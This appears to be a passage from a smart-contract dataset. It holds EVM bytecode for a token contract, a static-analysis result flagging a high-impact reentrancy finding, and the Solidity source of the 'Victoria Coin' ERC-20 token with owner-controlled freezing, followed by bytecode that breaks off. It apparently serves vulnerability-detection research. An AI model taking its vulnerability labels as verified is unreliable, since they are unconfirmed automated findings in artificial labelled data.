fffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099d6112ad565b73ffffffffffffffffffffffffffffffffffffffff16146109f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ea90612b8d565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f57442d3430000000000000000000000000000000000000000000000000000000815250905090565b6000610a77610a706112ad565b8484611480565b6001905092915050565b610a896112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0d90612c2d565b60405180910390fd5b60005b8151811015610ba757600160066000848481518110610b3b57610b3a61308a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b9f90612fe3565b915050610b19565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bec6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610c0c57600080fd5b6000610c17306107b8565b9050610c2281611b2b565b50565b610c2d6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190612c2d565b60405180910390fd5b600f60149054906101000a900460ff1615610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612cad565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de157600080fd5b505afa158015610df5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1991906125b5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7b57600080fd5b505afa158015610e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb391906125b5565b6040518363ffffffff1660e01b8152600401610ed0929190612a7d565b602060405180830381600087803b158015610eea57600080fd5b505af1158015610efe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2291906125b5565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fab306107b8565b600080610fb66109fd565b426040518863ffffffff1660e01b8152600401610fd896959493929190612acf565b6060604051808303818588803b158015610ff157600080fd5b505af1158015611005573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061102a9190612785565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161112f929190612aa6565b602060405180830381600087803b15801561114957600080fd5b505af115801561115d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611181919061272b565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c66112ad565b73ffffffffffffffffffffffffffffffffffffffff161461121c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121390612b8d565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612c8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612bcd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612ccd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612c6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612b6d565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612c4d565b60405180910390fd5b6115ab6109fd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161957506115e96109fd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561194e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117765750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117cc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e45750600f60179054906101000a900460ff165b15611894576010548111156117f857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184357600080fd5b601e426118509190612e03565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061189f306107b8565b9050600f60159054906101000a900460ff1615801561190c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119245750600f60169054906101000a900460ff165b1561194c5761193281611b2b565b6000479050600081111561194a57611949476119c2565b5b505b505b611959838383611db3565b505050565b60008383111582906119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d9190612b4b565b60405180910390fd5b50600083856119b59190612ee4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a12600284611dc390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a3d573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a8e600284611dc390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ab9573d6000803e3d6000fd5b5050565b6000600854821115611b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afb90612bad565b60405180910390fd5b6000611b0e611e0d565b9050611b238184611dc390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6357611b626130b9565b5b604051908082528060200260200182016040528015611b915781602001602082028036833780820191505090505b5090503081600081518110611ba957611ba861308a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4b57600080fd5b505afa158015611c5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8391906125b5565b81600181518110611c9757611c9661308a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cfe30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d62959493929190612ce8565b600060405180830381600087803b158015611d7c57600080fd5b505af1158015611d90573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dbe838383611e38565b505050565b6000611e0583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612003565b905092915050565b6000806000611e1a612066565b91509150611e318183611dc390919063ffffffff16565b9250505090565b600080600080600080611e4a876120cb565b955095509550955095509550611ea886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f3d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f89816121db565b611f938483612298565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ff09190612ccd565b60405180910390a3505050505050505050565b6000808311829061204a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120419190612b4b565b60405180910390fd5b50600083856120599190612e59565b9050809150509392505050565b60008060006008549050600069d3c21bcecceda1000000905061209e69d3c21bcecceda1000000600854611dc390919063ffffffff16565b8210156120be5760085469d3c21bcecceda10000009350935050506120c7565b81819350935050505b9091565b60008060008060008060008060006120e88a600a54600b546122d2565b92509250925060006120f8611e0d565b9050600080600061210b8e878787612368565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061217583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061195e565b905092915050565b600080828461218c9190612e03565b9050838110156121d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c890612bed565b60405180910390fd5b8091505092915050565b60006121e5611e0d565b905060006121fc82846123f190919063ffffffff16565b905061225081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122ad8260085461213390919063ffffffff16565b6008819055506122c88160095461217d90919063ffffffff16565b6009819055505050565b6000806000806122fe60646122f0888a6123f190919063ffffffff16565b611dc390919063ffffffff16565b90506000612328606461231a888b6123f190919063ffffffff16565b611dc390919063ffffffff16565b9050600061235182612343858c61213390919063ffffffff16565b61213390919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238185896123f190919063ffffffff16565b9050600061239886896123f190919063ffffffff16565b905060006123af87896123f190919063ffffffff16565b905060006123d8826123ca858761213390919063ffffffff16565b61213390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124045760009050612466565b600082846124129190612e8a565b90508284826124219190612e59565b14612461576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245890612c0d565b60405180910390fd5b809150505b92915050565b600061247f61247a84612d82565b612d5d565b905080838252602082019050828560208602820111156124a2576124a16130ed565b5b60005b858110156124d257816124b888826124dc565b8452602084019350602083019250506001810190506124a5565b5050509392505050565b6000813590506124eb816133da565b92915050565b600081519050612500816133da565b92915050565b600082601f83011261251b5761251a6130e8565b5b813561252b84826020860161246c565b91505092915050565b600081359050612543816133f1565b92915050565b600081519050612558816133f1565b92915050565b60008135905061256d81613408565b92915050565b60008151905061258281613408565b92915050565b60006020828403121561259e5761259d6130f7565b5b60006125ac848285016124dc565b91505092915050565b6000602082840312156125cb576125ca6130f7565b5b60006125d9848285016124f1565b91505092915050565b600080604083850312156125f9576125f86130f7565b5b6000612607858286016124dc565b9250506020612618858286016124dc565b9150509250929050565b60008060006060848603121561263b5761263a6130f7565b5b6000612649868287016124dc565b935050602061265a868287016124dc565b925050604061266b8682870161255e565b9150509250925092565b6000806040838503121561268c5761268b6130f7565b5b600061269a858286016124dc565b92505060206126ab8582860161255e565b9150509250929050565b6000602082840312156126cb576126ca6130f7565b5b600082013567ffffffffffffffff8111156126e9576126e86130f2565b5b6126f584828501612506565b91505092915050565b600060208284031215612714576127136130f7565b5b600061272284828501612534565b91505092915050565b600060208284031215612741576127406130f7565b5b600061274f84828501612549565b91505092915050565b60006020828403121561276e5761276d6130f7565b5b600061277c8482850161255e565b91505092915050565b60008060006060848603121561279e5761279d6130f7565b5b60006127ac86828701612573565b93505060206127bd86828701612573565b92505060406127ce86828701612573565b9150509250925092565b60006127e483836127f0565b60208301905092915050565b6127f981612f18565b82525050565b61280881612f18565b82525050565b600061281982612dbe565b6128238185612de1565b935061282e83612dae565b8060005b8381101561285f57815161284688826127d8565b975061285183612dd4565b925050600181019050612832565b5085935050505092915050565b61287581612f2a565b82525050565b61288481612f6d565b82525050565b600061289582612dc9565b61289f8185612df2565b93506128af818560208601612f7f565b6128b8816130fc565b840191505092915050565b60006128d0602383612df2565b91506128db8261310d565b604082019050919050565b60006128f3600c83612df2565b91506128fe8261315c565b602082019050919050565b6000612916602a83612df2565b915061292182613185565b604082019050919050565b6000612939602283612df2565b9150612944826131d4565b604082019050919050565b600061295c601b83612df2565b915061296782613223565b602082019050919050565b600061297f602183612df2565b915061298a8261324c565b604082019050919050565b60006129a2602083612df2565b91506129ad8261329b565b602082019050919050565b60006129c5602983612df2565b91506129d0826132c4565b604082019050919050565b60006129e8602583612df2565b91506129f382613313565b604082019050919050565b6000612a0b602483612df2565b9150612a1682613362565b604082019050919050565b6000612a2e601783612df2565b9150612a39826133b1565b602082019050919050565b612a4d81612f56565b82525050565b612a5c81612f60565b82525050565b6000602082019050612a7760008301846127ff565b92915050565b6000604082019050612a9260008301856127ff565b612a9f60208301846127ff565b9392505050565b6000604082019050612abb60008301856127ff565b612ac86020830184612a44565b9392505050565b600060c082019050612ae460008301896127ff565b612af16020830188612a44565b612afe604083018761287b565b612b0b606083018661287b565b612b1860808301856127ff565b612b2560a0830184612a44565b979650505050505050565b6000602082019050612b45600083018461286c565b92915050565b60006020820190508181036000830152612b65818461288a565b905092915050565b60006020820190508181036000830152612b86816128c3565b9050919050565b60006020820190508181036000830152612ba6816128e6565b9050919050565b60006020820190508181036000830152612bc681612909565b9050919050565b60006020820190508181036000830152612be68161292c565b9050919050565b60006020820190508181036000830152612c068161294f565b9050919050565b60006020820190508181036000830152612c2681612972565b9050919050565b60006020820190508181036000830152612c4681612995565b9050919050565b60006020820190508181036000830152612c66816129b8565b9050919050565b60006020820190508181036000830152612c86816129db565b9050919050565b60006020820190508181036000830152612ca6816129fe565b9050919050565b60006020820190508181036000830152612cc681612a21565b9050919050565b6000602082019050612ce26000830184612a44565b92915050565b600060a082019050612cfd6000830188612a44565b612d0a602083018761287b565b8181036040830152612d1c818661280e565b9050612d2b60608301856127ff565b612d386080830184612a44565b9695505050505050565b6000602082019050612d576000830184612a53565b92915050565b6000612d67612d78565b9050612d738282612fb2565b919050565b6000604051905090565b600067ffffffffffffffff821115612d9d57612d9c6130b9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e0e82612f56565b9150612e1983612f56565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e4e57612e4d61302c565b5b828201905092915050565b6000612e6482612f56565b9150612e6f83612f56565b925082612e7f57612e7e61305b565b5b828204905092915050565b6000612e9582612f56565b9150612ea083612f56565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ed957612ed861302c565b5b828202905092915050565b6000612eef82612f56565b9150612efa83612f56565b925082821015612f0d57612f0c61302c565b5b828203905092915050565b6000612f2382612f36565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f7882612f56565b9050919050565b60005b83811015612f9d578082015181840152602081019050612f82565b83811115612fac576000848401525b50505050565b612fbb826130fc565b810181811067ffffffffffffffff82111715612fda57612fd96130b9565b5b80604052505050565b6000612fee82612f56565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130215761302061302c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133e381612f18565b81146133ee57600080fd5b50565b6133fa81612f2a565b811461340557600080fd5b50565b61341181612f56565b811461341c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c06154c68e7c979327f4fa206e6770372adc18d4ee56ef07d4925da3b4462b0164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,985 |
0x5b47180e5f07fb5e10f86761df0c34ce952c6974
|
pragma solidity ^0.4.24;
/*
* Creator: VIC (Victoria Coin)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* VIC token token smart contract.
*/
contract VICToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 10000000000 * (10**8);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function VICToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Victoria Coin";
string constant public symbol = "VIC";
uint8 constant public decimals = 8;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630150246081146100df57806306fdde03146100f6578063095ea7b31461018057806313af4035146101b857806318160ddd146101d957806323b872dd14610200578063313ce5671461022a57806331c420d41461025557806370a082311461026a5780637e1f2bb81461028b57806389519c50146102a357806395d89b41146102cd578063a9059cbb146102e2578063dd62ed3e14610306578063e724529c1461032d575b600080fd5b3480156100eb57600080fd5b506100f4610353565b005b34801561010257600080fd5b5061010b6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014557818101518382015260200161012d565b50505050905090810190601f1680156101725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018c57600080fd5b506101a4600160a060020a03600435166024356103e6565b604080519115158252519081900360200190f35b3480156101c457600080fd5b506100f4600160a060020a036004351661041a565b3480156101e557600080fd5b506101ee610460565b60408051918252519081900360200190f35b34801561020c57600080fd5b506101a4600160a060020a0360043581169060243516604435610466565b34801561023657600080fd5b5061023f6104b4565b6040805160ff9092168252519081900360200190f35b34801561026157600080fd5b506100f46104b9565b34801561027657600080fd5b506101ee600160a060020a0360043516610510565b34801561029757600080fd5b506101a460043561052f565b3480156102af57600080fd5b506100f4600160a060020a03600435811690602435166044356105f7565b3480156102d957600080fd5b5061010b610710565b3480156102ee57600080fd5b506101a4600160a060020a0360043516602435610747565b34801561031257600080fd5b506101ee600160a060020a036004